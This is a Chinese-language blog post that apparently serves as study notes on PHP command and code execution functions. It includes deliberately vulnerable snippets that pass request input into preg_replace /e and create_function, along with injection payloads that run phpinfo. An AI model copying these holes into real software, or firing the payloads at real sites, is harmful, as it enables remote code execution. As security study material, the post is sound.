php的命令执行函数总结

参考文章PHP中常见的命令执行函数与代码执行函数_命令执行类似eval的有那些函数-CSDN博客

以下是 PHP 中常用的命令执行函数总结,以及哪些可以直接执行系统命令如 ipconfig


一、PHP 命令执行函数分类

1. 直接执行系统命令的函数

这些函数可以直接调用系统命令,可执行 ipconfig等外部程序。

函数 说明 是否可执行 ipconfig
system() 执行外部命令并显示输出
passthru() 执行外部命令并直接输出原始结果
exec() 执行外部命令,可返回最后一行或全部输出
shell_exec() 执行命令并通过字符串返回完整输出
反引号 command shell_exec()的简写形式
proc_open() 高级进程控制,可处理输入/输出流
popen() 打开进程文件指针,用于管道操作

例如:

system("ipconfig");
passthru("ipconfig");
echo exec("ipconfig", $output, $return_var);
echo shell_exec("ipconfig");
echo `ipconfig`;
(1)exec
exec("whoami");可以直接执行

$ip="whoami";exec($ip,$result);var_dump($result);可以执行并且以数组打印在浏览器上面

2. 代码执行函数(也可用于命令执行)

这些函数主要用于执行 PHP 代码,但可通过技巧执行系统命令。

函数 说明 是否可执行 ipconfig
eval() 执行字符串中的 PHP 代码 间接可执行(如 eval("system('ipconfig');")
assert() 断言检查,可执行代码(PHP 7.2+ 默认不再执行字符串) 可(但需配置)
create_function() 创建匿名函数(已废弃) 可(通过代码构造)
preg_replace()+ /e修饰符 执行替换(PHP 5.5+ 废弃) 可(旧版)

(1)preg_replace

preg_replace('正则规则','替换字符''目标字符')
执行命令和上传文件参考assert函数(不需要加分号)
将目标字符中符合正则规则的字符替换为替换字符此时如果正则规则中使用/e修饰符则存在代码执行漏洞
即如果在表达式末尾加上一个e,则第二个参数就会被当成php代码来执行
<?php
    preg_replace("/test/e",$_POST["cmd"],"jutst test");
?>
这里可以使用chr()函数转换ASCII编码来执行代码

#phpinfo();
cmd=eval(chr(112).chr(104).chr(112).chr(105).chr(110).chr(102).chr(111).chr(40).chr(41).chr(59))
或不转化
cmd=eval(phpinfo())

(2)PHP 的 Curly Syntax 也能导致代码执行,它将执行花括号间的代码,并将结果替换回去

<?php
$var = "aaabbbccc ${`ls`}";
?>
<?php
$foobar = "phpinfo";
${"foobar"}();
?>

(3)create_function()

适用范围:PHP 4> = 4.0.1PHP 5PHP 7,从PHP 7.2.0开始,create_function()被废弃

功能:根据传递的参数创建匿名函数,并为其返回唯一名称。

create_function(string $args,string $code)
string $args 声明的函数变量部分
string $code 执行的方法代码部分

例题:

<?php
$id=$_GET['id'];
$str2='echo  '.$a.'test'.$id.";";
echo $str2;
echo "<br/>";
echo "==============================";
echo "<br/>";
$f1 = create_function('$a',$str2);
echo "<br/>";
echo "=============================="

payload:

http://fx.com/create2.php?id=;};phpinfo();//

上面的匿名函数即为:

<?php
//常规方法
function func($a){
  echo $a . 'test' . $_GET['id'] . ';';
}

//create2.php?id=;};phpinfo();// 注入后的代码
function func($a){
  echo $a . 'test';}
 phpinfo();//' . ';'  //形成代码注入
}

特别看到$a('', $b);就条件反射肯定是create_function

posted @ 2026-06-18 12:27  Doll_Marker  阅读(11)  评论(0)    收藏  举报